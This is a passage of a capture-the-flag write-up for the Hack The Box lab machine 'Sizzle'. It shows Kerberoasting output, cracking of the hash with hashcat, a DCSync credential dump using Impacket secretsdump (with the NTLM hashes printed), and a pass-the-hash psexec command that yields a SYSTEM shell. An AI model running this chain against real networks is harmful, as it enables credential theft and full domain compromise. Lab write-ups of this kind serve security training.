[*] Searching path 'LDAP://sizzle.HTB.LOCAL/DC=HTB,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : mrlky
[*] DistinguishedName : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
[*] ServicePrincipalName : http/sizzle
[*] PwdLastSet : 7/10/2018 2:08:09 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*mrlky$HTB.LOCAL$http/[email protected]*$CD [snippet]
In which I saved the hash to a file in my local machine:
1
$krb5tgs$23$*mrlky$HTB.LOCAL$http/[email protected]*$CDF65DF [snippet]
And used hashcat alongside with rockyou.txt wordlist to crack it:
1
hashcat mrlky.hash /usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt
Revealing the credentials for “mlrky”:
1
mlrky:Football#7
Vertical Privilege Escalation
Summary
With credentials for mlrky, we can perform the DCSync attack. This was discovered earlier when enumerating with bloodhound.
Details
It’s as simple as running secretsdump from Impacket toolkit on my linux machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ secretsdump.py 'htb.local'/'mrlky':'Football#7'@'10.10.10.103'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:74cd9c0ebd6635465dcd703a5380bd8e:::
<SNIP>
With the password hash for the Administrator user, I can use psexec.py from Impacket to obtain a shell as NT AUTHORITY/SYSTEM, compromising the entire system at this point:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ psexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 -dc-ip 10.10.10.103 htb.local/[email protected] cmd.exe
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.103.....
[*] Found writable share ADMIN$
[*] Uploading file VAgBkctr.exe
[*] Opening SVCManager on 10.10.10.103.....
[*] Creating service ubiD on 10.10.10.103.....
[*] Starting service ubiD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::13f
Link-local IPv6 Address . . . . . : fe80::c812:17cc:5933:556f%4
IPv4 Address. . . . . . . . . . . : 10.10.10.103
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{46648897-E969-4FE1-9579-63F4E5F7CD54}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : htb
C:\Windows\system32>
